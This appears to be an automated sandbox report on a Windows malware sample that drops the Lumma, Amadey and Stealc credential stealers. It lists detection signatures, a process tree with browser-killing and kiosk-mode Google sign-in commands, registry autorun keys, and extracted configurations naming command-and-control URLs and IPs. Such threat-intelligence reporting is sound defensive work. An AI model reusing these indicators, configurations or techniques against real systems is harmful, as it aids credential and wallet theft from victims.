Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546614
MD5:	e372f8c0aeb01807b45e2d92883011ae
SHA1:	3cf8399a3501d9e94c88360849f61d93cabf114f
SHA256:	e686f95db17d736d68c57ca703011ea016b74a29755fd75a54e76047faf617b0
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7528 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E372F8C0AEB01807B45E2D92883011AE)

910S1Q63XQ87I6P4.exe (PID: 7888 cmdline: "C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe" MD5: A94EB41E9E38B75CF809AD0A66787584)

SP29EZJLUAF4OXVNPKLP.exe (PID: 8028 cmdline: "C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe" MD5: 73374DDF38989644301CD77DC9A3D1FE)

skotes.exe (PID: 4564 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 73374DDF38989644301CD77DC9A3D1FE)

skotes.exe (PID: 4908 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 73374DDF38989644301CD77DC9A3D1FE)

skotes.exe (PID: 3052 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 73374DDF38989644301CD77DC9A3D1FE)

3e1d30d118.exe (PID: 7660 cmdline: "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe" MD5: E372F8C0AEB01807B45E2D92883011AE)

6QPF41LR0H1R83WBFIVMMOQHW.exe (PID: 1664 cmdline: "C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe" MD5: A94EB41E9E38B75CF809AD0A66787584)

J3F2AVPL447NSFJEKUT1.exe (PID: 2088 cmdline: "C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe" MD5: 73374DDF38989644301CD77DC9A3D1FE)

c077ee22d1.exe (PID: 6988 cmdline: "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe" MD5: CAFF2FE6C91944CCA73634BB9B591335)

a8c7d2631f.exe (PID: 8132 cmdline: "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe" MD5: 48E5C172E53EB45E40FE1CEF7643AA58)

taskkill.exe (PID: 4428 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4928 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7212 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3512 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3720 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7964 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 6660 cmdline: "C:\Users\user\AppData\Local\Temp\1003125001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

3e1d30d118.exe (PID: 6380 cmdline: "C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe" MD5: E372F8C0AEB01807B45E2D92883011AE)

firefox.exe (PID: 7996 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8148 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 944 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2168 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e46413c-d34b-4bb5-adfb-3687c24cfd1f} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 2296eb6df10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7876 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4364 -parentBuildID 20230927232528 -prefsHandle 4352 -prefMapHandle 4348 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {651ca645-af68-4528-a615-b1d665984952} 8148 "\\.\pipe\gecko-crash-server-pipe.8148" 22980b6a410 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

c077ee22d1.exe (PID: 1016 cmdline: "C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe" MD5: CAFF2FE6C91944CCA73634BB9B591335)

a8c7d2631f.exe (PID: 2832 cmdline: "C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe" MD5: 48E5C172E53EB45E40FE1CEF7643AA58)

taskkill.exe (PID: 7100 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["founpiuer.store", "fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1003125001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.2718871145.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2886049051.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.2922821640.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2883520034.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2873847206.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2874734726.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.2803596225.000000000017E000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000002.2005513502.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.1990496875.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2883520034.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2300805350.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2881423508.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.1949723349.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2649233251.0000000000C98000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2879394897.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2896778343.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2879394897.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2828392068.0000000000161000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000003.2828721900.0000000005440000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.1912535075.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2900515858.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2873847206.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2888639331.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2891835597.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2894727073.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2874734726.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.2914036653.0000000000221000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2875692021.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2873181974.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000003.1965015613.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2884856458.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2676689966.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2880668031.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2897446385.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2899196082.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2876541093.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2875692021.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.2803560283.0000000000161000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2876541093.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2717758485.0000000000E91000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2896778343.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2899712973.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2898684448.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.2927409227.000000000182B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2828419524.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2898142263.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2898142263.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2884856458.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2894727073.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2888639331.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2898684448.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2899196082.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2886049051.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2895825958.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2899712973.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2881423508.0000000000D32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2897446385.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.2828765509.000000000017E000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000002.2983262363.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000003.00000002.1953939305.0000000000E31000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000020.00000002.2839248106.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2880668031.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2828419524.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2891835597.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2895825958.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7528	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7528	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7528	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 7660	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 7660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 7660	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c077ee22d1.exe PID: 6988	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: c077ee22d1.exe PID: 6988	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 6380	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 6380	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3e1d30d118.exe PID: 6380	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: a8c7d2631f.exe PID: 8132	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 74 entries

Unpacked PEs

Source	Rule	Description	Author
32.2.num.exe.160000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
7.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.SP29EZJLUAF4OXVNPKLP.exe.e30000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.0.num.exe.160000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
33.2.J3F2AVPL447NSFJEKUT1.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.2.c077ee22d1.exe.e90000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.c077ee22d1.exe.e90000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3052, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3e1d30d118.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 3052, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\3e1d30d118.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:19.424058+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.4	49739	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:50:02.639539+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	188.114.96.3	443	TCP
2024-11-01T08:50:03.947386+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.96.3	443	TCP
2024-11-01T08:50:05.246399+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.96.3	443	TCP
2024-11-01T08:50:06.995799+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.96.3	443	TCP
2024-11-01T08:50:08.561309+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.96.3	443	TCP
2024-11-01T08:50:10.063645+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2024-11-01T08:50:11.570630+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.96.3	443	TCP
2024-11-01T08:50:15.715365+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.96.3	443	TCP
2024-11-01T08:51:30.241752+0100	2028371	3	Unknown Traffic	192.168.2.4	57770	188.114.96.3	443	TCP
2024-11-01T08:51:32.182926+0100	2028371	3	Unknown Traffic	192.168.2.4	57778	188.114.96.3	443	TCP
2024-11-01T08:51:33.834322+0100	2028371	3	Unknown Traffic	192.168.2.4	57789	188.114.96.3	443	TCP
2024-11-01T08:51:35.445774+0100	2028371	3	Unknown Traffic	192.168.2.4	57800	188.114.96.3	443	TCP
2024-11-01T08:51:36.813280+0100	2028371	3	Unknown Traffic	192.168.2.4	57806	188.114.96.3	443	TCP
2024-11-01T08:51:38.654431+0100	2028371	3	Unknown Traffic	192.168.2.4	57817	188.114.96.3	443	TCP
2024-11-01T08:51:41.081052+0100	2028371	3	Unknown Traffic	192.168.2.4	57834	188.114.96.3	443	TCP
2024-11-01T08:51:44.673212+0100	2028371	3	Unknown Traffic	192.168.2.4	57852	188.114.96.3	443	TCP
